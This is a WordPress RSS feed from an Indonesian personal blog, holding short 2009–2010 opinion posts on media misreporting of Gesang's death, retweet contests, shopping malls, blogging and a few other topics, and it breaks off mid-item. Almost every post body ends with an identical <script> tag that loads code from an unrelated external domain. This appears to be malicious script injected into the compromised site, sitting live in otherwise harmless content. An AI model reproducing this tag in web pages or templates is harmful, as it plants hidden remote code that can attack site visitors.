<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>hermansaksono &#187; thoughts</title>
	<atom:link href="http://hermansaksono.com/tag/thoughts/feed" rel="self" type="application/rss+xml" />
	<link>http://hermansaksono.com</link>
	<description>Patternless thoughts, pointless wisdom</description>
	<lastBuildDate>Wed, 28 Jul 2010 03:15:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Berita Gesang Meninggal Yang Salah</title>
		<link>http://hermansaksono.com/2010/05/berita-gesang-meninggal-yang-salah.html</link>
		<comments>http://hermansaksono.com/2010/05/berita-gesang-meninggal-yang-salah.html#comments</comments>
		<pubDate>Wed, 19 May 2010 10:14:32 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Indonesiana]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1137</guid>
		<description><![CDATA[VivaNews menurunkan berita tentang radio Inggris, BBC, yang memohon maaf setelah menyiarkan kabar bahwa Ratu Inggris Elizabeth 2 telah meninggal. Selain permohonan maaf melalui juru bicaranya, BBC juga menskors penyiar yang bertanggung jawab atas kesalahan tersebut. Ironisnya, artikel ini terbit kurang dari 24 jam setelah TvOne mengabarkan kalau Gesang meninggal. TvOne (saudara dekat Vivanews yang [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2010/05/Picture-11.png"><img class="aligncenter size-medium wp-image-1138" title="Berita Ratu Elizabeth Mati" src="http://hermansaksono.com/wp-content/uploads/2010/05/Picture-11-440x491.png" alt="" width="440" height="491" /></a></p>
<p>VivaNews menurunkan berita tentang radio Inggris, BBC, yang <a href="http://dunia.vivanews.com/news/read/151971-lelucon_ratu_inggris_wafat__bbc_minta_maaf">memohon maaf</a> setelah menyiarkan kabar bahwa Ratu Inggris Elizabeth 2 telah meninggal. Selain permohonan maaf melalui juru bicaranya, BBC juga menskors penyiar yang bertanggung jawab atas kesalahan tersebut.</p>
<p>Ironisnya, artikel ini terbit kurang dari 24 jam setelah TvOne mengabarkan kalau Gesang meninggal. TvOne (saudara dekat Vivanews yang sama-sama group Bakrie) lantas meralat berita tersebut, setelah mendapatkan konfirmasi bahwa maestro Bengawan Solo itu masih dirawat di ICU PKU Muhammadiyah Solo. Tidak cuma TvOne, Kompas.com juga sempat menerbitkan berita salah yang serupa.</p>
<p>Berbeda dengan BBC, kedua media besar Indonesia itu tidak melakukan permintaan maaf secara jantan. Mengingat besarnya dosa mereka, saya mengharapkan setidaknya ada pernyataan mohon maaf formal lisan dan tulisan kepada Gesang dan publik. Tapi tidak ada. Yang ada cuma Kompas yang diam-diam mengedit berita &#8220;kematian&#8221; itu, sementara TVOne sekadar meralatnya.</p>
<p>Saya tidak ingin merenung atau berkontemplasi, karena sudah bosan. Setelah pemberitaan Pansus Century yang tidak berimbang dan narasumber palsu, saya cuma ingin tahu masyarakat macam apa yang tiap hari mengijinkan dirinya dikelabui oleh televisi dan koran.</p>
<p>UPDATE: Setelah dirawat di rumah sakit akhirnya Gesang menghembuskan nafas terakhirnya Kamis malam kemarin. Semoga amal perbuatannya diterima di sisi Tuhan, dan keluarga yang ditinggalkan diberi ketabahan sebesar-besarnya.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/05/berita-gesang-meninggal-yang-salah.html/feed</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Alasan Model bisa Langsing</title>
		<link>http://hermansaksono.com/2010/05/alasan_model_bisa_langsing.html</link>
		<comments>http://hermansaksono.com/2010/05/alasan_model_bisa_langsing.html#comments</comments>
		<pubDate>Fri, 07 May 2010 04:11:40 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Popping Toughts]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1123</guid>
		<description><![CDATA[Ada satu alasan mengapa model bisa punya badan langsing dan orang biasa tidak (selain keunggulan genetika tentu saja). Model mencari nafkah dengan badan yang langsing, dan manusia biasa tidak. Itulah mengapa model tidak masalah jika sampai harus tidak makan, karena kalau tidak langsing mereka tidak bisa makan.]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2010/05/taciane-ribeiro-0601.jpg"><img class="aligncenter size-medium wp-image-1122" title="Taciane Ribeiro" src="http://hermansaksono.com/wp-content/uploads/2010/05/taciane-ribeiro-0601-440x294.jpg" alt="" width="440" height="294" /></a></p>
<p>Ada satu alasan mengapa model bisa punya badan langsing dan orang biasa tidak (selain keunggulan genetika tentu saja). Model mencari nafkah dengan badan yang langsing, dan manusia biasa tidak.</p>
<p>Itulah mengapa model tidak masalah jika sampai harus tidak makan, karena kalau tidak langsing mereka tidak bisa makan.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/05/alasan_model_bisa_langsing.html/feed</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Grand Indonesia dan Kontes Retweet</title>
		<link>http://hermansaksono.com/2010/05/grand-indonesia-dan-kontes-retweet.html</link>
		<comments>http://hermansaksono.com/2010/05/grand-indonesia-dan-kontes-retweet.html#comments</comments>
		<pubDate>Thu, 06 May 2010 04:24:30 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Popping Toughts]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1117</guid>
		<description><![CDATA[Agak mengejutkan ketika Grand Indonesia, mall prestise di bunderan HI itu, mengadakan kontes retweet. Saya tidak anti terhadap bisnis di twitter, tapi saya terganggu dengan bisnis yang menciptakan sampah. Game twitter seperti yang diadakan @SoyJoy dan @hanyaoreo itu masih mendingan, karena ada nilai yang ditambahkan. Dengan mengarang tweet yang menarik untuk memenangkan hadiah, para peserta [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2010/05/ReTweetoloGI.gif"></a><a href="http://hermansaksono.com/wp-content/uploads/2010/05/ReTweetoloGI.gif"></a><a href="http://hermansaksono.com/wp-content/uploads/2010/05/ReTweetoloGI.gif"><img class="aligncenter size-full wp-image-1119" title="ReTweetoloGI" src="http://hermansaksono.com/wp-content/uploads/2010/05/ReTweetoloGI.gif" alt="" width="383" height="718" /></a></p>
<p>Agak mengejutkan ketika Grand Indonesia, mall prestise di bunderan HI itu, mengadakan <a href="http://www.facebook.com/note.php?note_id=419414100335">kontes retweet</a>.</p>
<p>Saya tidak anti terhadap bisnis di twitter, tapi saya terganggu dengan bisnis yang menciptakan sampah. Game twitter seperti yang diadakan @SoyJoy dan @hanyaoreo itu masih mendingan, karena ada nilai yang ditambahkan. Dengan mengarang tweet yang menarik untuk memenangkan hadiah, para peserta menambahkan kreativitasnya di twitter. Demikian juga lomba mengupload foto dan video seperti yang dilakukan @vaselineman. Dan kita musti menghargai usaha-usaha kreatif, karena negeri ini masih kekurangan kreativitas.</p>
<p>Tapi lomba retweet (RT) tidak menambahkan apapun. Lomba retweet hanya mengulang tweet sponsor yang belum tentu bernilai, tapi tetap di-RT karena iming-iming ini dan itu. Ini agak mirip dengan kampanye email berantai dan sebagian besar blog adsense, yang pada akhirnya menjejali internet dengan sampah.</p>
<p>Bukankah tujuan utama mempopulerkan merek telah tercapai? Populer iya. Tapi populer sebagai apa? Julia Perez dan Syaiful Jamil juga terkenal dan dipercakapkan setiap hari, tapi apakah mereka dikenal sebagai aktor dan penyanyi?</p>
<p>Apakah Anda ingin merek dikenal sebagai Jupe ataupun Syaiful Jamil&#8230; atau sebagai Dian Sastro dan <del>Krisdayanti</del> Sherina?<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/05/grand-indonesia-dan-kontes-retweet.html/feed</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Selamat Hari Kartini</title>
		<link>http://hermansaksono.com/2010/04/selamat-hari-kartini.html</link>
		<comments>http://hermansaksono.com/2010/04/selamat-hari-kartini.html#comments</comments>
		<pubDate>Wed, 21 Apr 2010 07:19:42 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Indonesiana]]></category>
		<category><![CDATA[society]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2010/04/selamat-hari-kartini.html</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2010/04/poligame5.jpg"><img class="aligncenter size-full wp-image-1102" title="Keadilan &amp; Kesetaraan Gender BULLSHIT" src="http://hermansaksono.com/wp-content/uploads/2010/04/poligame5.jpg" alt="" width="342" height="425" /></a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/04/selamat-hari-kartini.html/feed</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Hanya di Bali</title>
		<link>http://hermansaksono.com/2010/04/hanya-di-bali.html</link>
		<comments>http://hermansaksono.com/2010/04/hanya-di-bali.html#comments</comments>
		<pubDate>Tue, 13 Apr 2010 05:43:57 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Indonesiana]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1097</guid>
		<description><![CDATA[Marketing memang segalanya, tapi produk keren adalah marketing yang terbaik. Negara lain mungkin bisa jor-joran pasang iklan turisme, tapi menurut saya susah mengalahkan Bali kalau kita punya keindahan-keindahan kecil semacam ini: Ukiran semangka karya Pak Tema, Bali. Foto dari Nana.]]></description>
			<content:encoded><![CDATA[<p>Marketing memang segalanya, tapi produk keren adalah marketing yang terbaik. Negara lain mungkin bisa jor-joran pasang iklan turisme, tapi menurut saya susah mengalahkan Bali kalau kita punya keindahan-keindahan kecil semacam ini:</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/04/watermelon-carving-pak-tema-bali.jpg"><img class="aligncenter size-medium wp-image-1098" title="Balinese watermelon carving, Pak Tema" src="http://hermansaksono.com/wp-content/uploads/2010/04/watermelon-carving-pak-tema-bali-375x500.jpg" alt="" width="375" height="500" /></a></p>
<p>Ukiran semangka karya Pak Tema, Bali. Foto dari <a href="http://nananias.com">Nana</a>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/04/hanya-di-bali.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Singapura Shopping Destination?</title>
		<link>http://hermansaksono.com/2010/04/singapura-shopping-destination.html</link>
		<comments>http://hermansaksono.com/2010/04/singapura-shopping-destination.html#comments</comments>
		<pubDate>Thu, 08 Apr 2010 04:57:24 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Indonesiana]]></category>
		<category><![CDATA[Popping Toughts]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1094</guid>
		<description><![CDATA[Saya terakhir ke Singapura itu tahun 2005. Tentu saja saya yang udik ini &#8220;gumun&#8221; melihat kemajuan negara kota itu. Mulai dari hal-hal remeh seperti trotoar yang rapi jali dan rambu informasi yang didesain keren, hingga MRT yang modern dan toko-toko yang lengkap dan mewah. Bahkan ada ungkapan kalau Singapura adalah satu-satunya shopping mall yang punya [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2010/04/ngeeanncity.jpg"><img class="aligncenter size-medium wp-image-1095" title="Ngee Ann City" src="http://hermansaksono.com/wp-content/uploads/2010/04/ngeeanncity-440x330.jpg" alt="" width="440" height="330" /></a></p>
<p>Saya terakhir ke Singapura itu tahun 2005. Tentu saja saya yang udik ini &#8220;gumun&#8221; melihat kemajuan negara kota itu. Mulai dari hal-hal remeh seperti trotoar yang rapi jali dan rambu informasi yang didesain keren, hingga MRT yang modern dan toko-toko yang lengkap dan mewah. Bahkan ada ungkapan kalau Singapura adalah satu-satunya shopping mall yang punya kursi di PBB.</p>
<p>Tapi itu tahun 2005.</p>
<p>Tahun 2010 saya di sana lagi, dan tidak terasa ada perubahan signifikan. MRT masih modern dan cepat, persis seperti tahun 2005. Walaupun ada dua tiga yang baru, tapi kebanyakan shopping mall di Orchard Rd. masih seperti dulu, megah tapi mulai uzur.</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/04/Senayan-City.jpg"><img class="aligncenter size-medium wp-image-1096" title="Senayan City" src="http://hermansaksono.com/wp-content/uploads/2010/04/Senayan-City-440x292.jpg" alt="" width="440" height="292" /></a></p>
<p>Sementara di Jakarta sejak 2005 hingga 2010 sudah berdiri setidaknya tiga mall kelas Orchard Rd. Lengkap dengan tenant yang sebelumnya cuma ada di Singapura. Pusat perbelanjaan di Jakarta sekarang nyaris sama plek dengan Singapura, cuma saja mall Jakarta lebih lega dan lapang karena masalah lahan tidak pernah menjadi masalah di Indonesia. Outlet flagship Zara di 313 Somerset yang terus digembor-gemborkan itu misalnya, ternyata lebih kecil daripada Zara yang di Senayan City. Dengan harga yang 20-30 ribu lebih mahal.</p>
<p>Layanan publik juga membaik, walaupun daftar kurang-kurangnya masih puanjang. Di Jogja, trotoar Maliboro mulai diganti dengan batu candi dan kanan kiri dihijaukan. Bus TransJogja yang nyaman mulai beroperasi tahun 2007 dan akan terus dikembangkan.</p>
<p>Saya merasakan Indonesia menggeliat, dan Singapura berjalan pelan. PR kita adalah memperluas lapisan yang bisa menikmati pertumbuhan ini.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/04/singapura-shopping-destination.html/feed</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Lima Tahun Ngeblog</title>
		<link>http://hermansaksono.com/2010/02/lima-tahun-ngeblog.html</link>
		<comments>http://hermansaksono.com/2010/02/lima-tahun-ngeblog.html#comments</comments>
		<pubDate>Tue, 02 Feb 2010 01:33:07 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Popping Toughts]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1005</guid>
		<description><![CDATA[Ternyata saya sudah mengisi blog ini lima tahun lamanya. Dua Februari, lima tahun silam, saya membuat janji seperti ini.]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://hermansaksono.com/wp-content/uploads/2008/06/rip.jpg"><img class="aligncenter" title="Graveyard" src="http://hermansaksono.com/wp-content/uploads/2008/06/rip.jpg" alt="" width="350" height="497" /></a></p>
<p>Dua Februari, lima tahun silam, saya membuat <a href="http://hermansaksono.com/2005/02/page/4">janji</a> ini:</p>
<blockquote><p>This should be my first post on this blog. Here, you will find my personal rants, a tad of random thoughts, and some annoying quick-facts. Please note that this blog represents my very inner ego, which, quite frankly doesnt represents me in real life.</p>
<p>Anyway, have fun!</p>
<p>Herman</p></blockquote>
<p>Syukur, hingga saat ini saya masih menulis keluh-kesah, pikiran-pikiran acak, dan fakta-fakta gak penting. Saya tidak bangga dengan ini, tapi saya bangga dengan warga komunitas online Indonesia yang sudah memanfaatkan medium internet untuk membuat perubahan-perubahan besar lewat social-media.</p>
<p>Kita memang telah melalui jurang dan bukit. Ketika UU ITE digolkan dan menulis di internet dipidanakan, kita melewati jurang. Tetapi itu bukan apa-apa ketika kita telah mengumpulkan koin untuk mendukung Prita, ketika Facebook digunakan untuk membela yang teraniaya, ketika blog digunakan untuk menggalang kepedulian terhadap korban bencana, ketika masyarakat twitter mengawasi jalannya sidang Pansus Bank Century, ketika Prita dinyatakan tidak bersalah, ketika 1500 blogger Indonesia berkumpul sebagai satu bangsa. Jurang kita tidak sedikit, tetapi puncak-puncak yang terlewati jauh lebih tinggi.</p>
<p>Jika Anda berkenan, saya mohon doa restunya agar bisa ngeblog lima tahun lagi saja supaya bisa menjadi saksi atas hal-hal besar yang akan Anda lahirkan.</p>
<p>Herman<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/02/lima-tahun-ngeblog.html/feed</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Makan-makan</title>
		<link>http://hermansaksono.com/2010/01/makan-makan.html</link>
		<comments>http://hermansaksono.com/2010/01/makan-makan.html#comments</comments>
		<pubDate>Fri, 29 Jan 2010 02:31:45 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[People]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=978</guid>
		<description><![CDATA[Ciri-ciri negara miskin itu setiap kali ada teman yang lagi senang, ultah, jadian, atau yang lain, pasti akan dimintai makan-makan.]]></description>
			<content:encoded><![CDATA[<p>Ciri-ciri negara miskin itu setiap kali ada teman yang lagi senang, ultah, jadian, atau yang lain, pasti akan dimintai makan-makan.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/01/makan-makan.html/feed</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
		<item>
		<title>Ruby Alamsyah dan SMS Roy Suryo</title>
		<link>http://hermansaksono.com/2010/01/ruby-alamsyah-dan-sms-roy-suryo.html</link>
		<comments>http://hermansaksono.com/2010/01/ruby-alamsyah-dan-sms-roy-suryo.html#comments</comments>
		<pubDate>Mon, 25 Jan 2010 14:44:40 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Indonesiana]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=998</guid>
		<description><![CDATA[Saya percaya jaman sudah berubah. Pengetahuan yang disembunyikan, tidak akan kemana-mana. Tentu saja dia tidak akan menghasilkan efek negatif, karena dia juga tidak pernah akan menghasilkan hal positif.]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://tweetphoto.com/9549979"><img class="aligncenter size-medium wp-image-999" title="atm-skimming" src="http://hermansaksono.com/wp-content/uploads/2010/01/atm-skimming-380x285.jpg" alt="" width="380" height="285" /></a></p>
<p>Saya percaya jaman sudah berubah. Pengetahuan yang disembunyikan, tidak akan kemana-mana. Tentu saja dia tidak akan menghasilkan efek negatif, karena dia juga tidak pernah akan menghasilkan hal positif.</p>
<p>Ketika masyarakat diperlihatkan cara kerja skimming ATM, maka secara jelas dan langsung masyarakat telah dilibatkan untuk waspada dan mencegah modus kejahatan seperti ini. Posisi masyarakat sudah satu sama sama para maling itu.</p>
<p>Jadi kalau ada orang yang menyatakan keberatannya kepada Ruby lewat SMS, saya kasihan sama orang itu karena dua hal: satu karena dia hidup di masa lalu, dan kedua karena di jaman twitter, facebook, email; dia masih terjebak di SMS.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/01/ruby-alamsyah-dan-sms-roy-suryo.html/feed</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Books</title>
		<link>http://hermansaksono.com/2010/01/books.html</link>
		<comments>http://hermansaksono.com/2010/01/books.html#comments</comments>
		<pubDate>Sat, 02 Jan 2010 22:25:28 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2010/01/books.html</guid>
		<description><![CDATA[The greatest gift, ever, is probably books. They don&#8217;t decay, nor out of date. The mold with you and shape your mind. They may die with you, but their offspings—ideas—lives, eternally. Popping thought at Soekarno-Hatta airport.]]></description>
			<content:encoded><![CDATA[<p>The greatest gift, ever, is probably books. They don&#8217;t decay, nor out of date. The mold with you and shape your mind. They may die with you, but their offspings—ideas—lives, eternally. </p>
<p>Popping thought at Soekarno-Hatta airport. <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/01/books.html/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Selamat Hari Blogger dan Pesta Blogger</title>
		<link>http://hermansaksono.com/2009/10/selamat-hari-blogger-dan-pesta-blogger.html</link>
		<comments>http://hermansaksono.com/2009/10/selamat-hari-blogger-dan-pesta-blogger.html#comments</comments>
		<pubDate>Tue, 27 Oct 2009 08:17:34 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[blogging]]></category>
		<category><![CDATA[pb2009]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=912</guid>
		<description><![CDATA[Walaupun hari-hari ini adalah kali ketiga kita merayakan Pesta Blogger dan memperingati Hari Blogger Nasional, sebetulnya saya masih was-was dengan masa depan para narablog. Blog di Indonesia sebetulnya sudah lebih dari diary yang bisa ditulis-tulis. Walaupun yang isinya tentang diary tetap banyak, tapi banyak juga yang menggunakan blog untuk menyuarakan perasaannya, baik tentang anggota DPR, [...]]]></description>
			<content:encoded><![CDATA[<p>Walaupun hari-hari ini adalah kali ketiga kita merayakan Pesta Blogger dan memperingati Hari Blogger Nasional, sebetulnya saya masih was-was dengan masa depan para narablog.</p>
<p>Blog di Indonesia sebetulnya sudah lebih dari <em>diary</em> yang bisa ditulis-tulis. Walaupun yang isinya tentang diary tetap banyak, tapi banyak juga yang menggunakan blog untuk menyuarakan perasaannya, baik tentang anggota DPR, menteri, rumah sakit, jalan, toko, tempat makan, operator seluler dan banyak lagi.</p>
<p>Ketika menulis tentang itu, sebetulnya blogger ada dalam posisi terancam. Pertama karena kebanyakan dari kita tidak memiliki <em>beking</em> legal yang mantap; kedua karena pasal-pasal karet di KUHP; dan ketiga karena pasal-pasal di UU yang lain. Jika poin dua dan tiga digabung, maka blogger yang minim dukungan legal bisa dijerat dengan ayat yang berlapis-lapis.</p>
<p>Pasal-pasal apa saja?</p>
<p>Mas <a href="http://anggara.org">Anggara</a> yang saya temui di Pesta Blogger kemarin, sempat cerita kalau selain RUU Rahasia Negara yang bermasalah itu, akan digodok pula RUU CyberCrime, yang diduga juga akan memuat pasal-pasal yang jusru tidak memberikan kepastian hukum bagi orang seperti kita. Gabungkan itu dengan UU Pornografi, UU ITE, dan KUHP; maka blogger akan sulit bergerak.</p>
<p>Oleh karena itu blogger masih harus terus kerja keras supaya “kemerdekaan” ini tidak dirampok. Tidak harus berdemo, teriak, mengumpat, melobi. Sekadar terus menulis, jujur, selalu crosscheck; sudah cukup. Ini memang remeh, tetapi jika keremehan ini dilakukan oleh ratusan ribu blogger bersama-sama, maka yang terjadi adalah agregat citra positif.</p>
<p>Selain itu blogger juga harus terus memperkuat jaringan silaturahim, karena dengan bergerak dalam satu kesatuan, blogger lebih susah diuyel-uyel. Itulah mengapa pertemuan akbar semacam Pesta Blogger sangat penting. Bukan untuk menyatukan atau menyeragamkan, tapi untuk merintis kerjasama. Yap, ini proses yang lama, tidak cukup satu dua tahun.</p>
<p>Saya senang bisa datang ke <a href="http://pestablogger.com/?p=1428">Pesta Blogger</a> kemarin. Syukurlah <del datetime="2009-10-28T02:41:38+00:00">1200</del> <a href="http://theunspunblog.com/2009/10/27/the-video-that-launched-pesta-blogger-2009/">1440</a> blogger tidak terkecoh dengan istilah “pesta”, karena sejatinya itu adalah konferensi blogger bergagasan besar, yang dikemas dengan istilah ringan; supaya tidak terdengar terlampau berat.</p>
<p><object width="480" height="295"><param name="movie" value="http://www.youtube.com/v/-EbFD3uaTDA&#038;hl=en&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/-EbFD3uaTDA&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="295"></embed></object></p>
<p>NB: Saya tempelin video di PB2009 tentang keragaman Indonesia: The Promise of One.</p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2009/10/selamat-hari-blogger-dan-pesta-blogger.html/feed</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Ayat-Ayat Qur&#8217;an di Gempa Padang</title>
		<link>http://hermansaksono.com/2009/10/ayat-ayat-quran-di-gempa-padang.html</link>
		<comments>http://hermansaksono.com/2009/10/ayat-ayat-quran-di-gempa-padang.html#comments</comments>
		<pubDate>Mon, 05 Oct 2009 03:27:53 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=900</guid>
		<description><![CDATA[Saya kutip langsung dari eramuslim dan sini: “Gempa di Padang jam 17.16, gempa susulan 17.58, esoknya gempa di Jambi jam 8.52. Coba lihat Al-Qur’an!” demikian bunyi pesan singkat yang beredar &#8230; (selengkapnya silahkan dibaca di sini) Jam, menit, dan detik itu cuma buatan manusia. Waktu, hanyalah perjanjian-perjanjian sederhana antar manusia yang begitu kecil jika dibandingkan [...]]]></description>
			<content:encoded><![CDATA[<p>Saya kutip langsung dari <a href="http://www.eramuslim.com/berita/tahukah-anda/ayat-ayat-allah-swt-dalam-gempa-di-sumatera.htm">eramuslim</a> dan <a href="http://ejajufri.wordpress.com/2009/10/02/gempa-sumbar-surah-17-ayat-16-dan-pelantikan-dpr/">sini</a>:</p>
<blockquote><p>“Gempa di Padang jam 17.16, gempa susulan 17.58, esoknya gempa di Jambi jam 8.52. Coba lihat Al-Qur’an!” demikian bunyi pesan singkat yang beredar &#8230; (<a href="http://www.eramuslim.com/berita/tahukah-anda/ayat-ayat-allah-swt-dalam-gempa-di-sumatera.htm">selengkapnya silahkan dibaca di sini</a>)</p></blockquote>
<p>Jam, menit, dan detik itu cuma buatan manusia. Waktu, hanyalah perjanjian-perjanjian sederhana antar manusia yang begitu kecil jika dibandingkan dengan alam semesta yang begitu besar dan agung.</p>
<p>Ketika ciptaan manusia yang serba relatif dibenturkan dengan ayat-ayat Allah yang suci dan absolut, maka jelas tidak akan pernah pas. Yang ada justru merendahkan kitab suci.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2009/10/ayat-ayat-quran-di-gempa-padang.html/feed</wfw:commentRss>
		<slash:comments>52</slash:comments>
		</item>
		<item>
		<title>Mohon Maaf Lahir Batin?</title>
		<link>http://hermansaksono.com/2009/09/mohon-maaf-lahir-batin.html</link>
		<comments>http://hermansaksono.com/2009/09/mohon-maaf-lahir-batin.html#comments</comments>
		<pubDate>Sun, 20 Sep 2009 08:45:56 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=892</guid>
		<description><![CDATA[Kadang-kadang tradisi menjadi absurd. Contohnya pagi ini ada banyak SMS dari teman kuliah yang intinya: mohon maaf lahir dan batin. Oh please. Kita udah gak pernah kontak-kontakan satu tahun lebih (masehi dan hijriyah). Bagaimana caranya dia bisa bikin salah sama saya?]]></description>
			<content:encoded><![CDATA[<p>Kadang-kadang tradisi menjadi absurd. Contohnya pagi ini ada banyak SMS dari teman kuliah yang intinya: mohon maaf lahir dan batin. <em></em></p>
<p><em>Oh please</em>.</p>
<p>Kita udah gak pernah kontak-kontakan satu tahun lebih (masehi dan hijriyah). Bagaimana caranya dia bisa bikin salah sama saya?<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2009/09/mohon-maaf-lahir-batin.html/feed</wfw:commentRss>
		<slash:comments>27</slash:comments>
		</item>
		<item>
		<title>Haruskah Kita Merasa Iba Sama Marshanda Nangis?</title>
		<link>http://hermansaksono.com/2009/08/haruskah-kita-merasa-iba-untuk-marshanda-nangis.html</link>
		<comments>http://hermansaksono.com/2009/08/haruskah-kita-merasa-iba-untuk-marshanda-nangis.html#comments</comments>
		<pubDate>Fri, 14 Aug 2009 04:35:27 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2009/08/haruskah-kita-merasa-iba-untuk-marshanda-nangis.html</guid>
		<description><![CDATA[Ketika denger pertama kali dari temen kalau ada video Marshanda nangis di YouTube, reaksi pertama saya adalah menelpon tiga teman saya untuk ngesave video-video yang heboh itu. Waktu itu saya lagi di jalan, padahal video semacam ini pasti akan dihapus kalau sudah tercium media (dan ternyata benar kan?). Dan video-video itu, akhirnya malah bikin saya [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="aligncenter" title="Marshanda Nangis" src="http://hermansaksono.com/wp-content/uploads/2009/08/wpid-marshanda-nangis.jpg" alt="Marshanda Nangis" width="384" height="288" /></p>
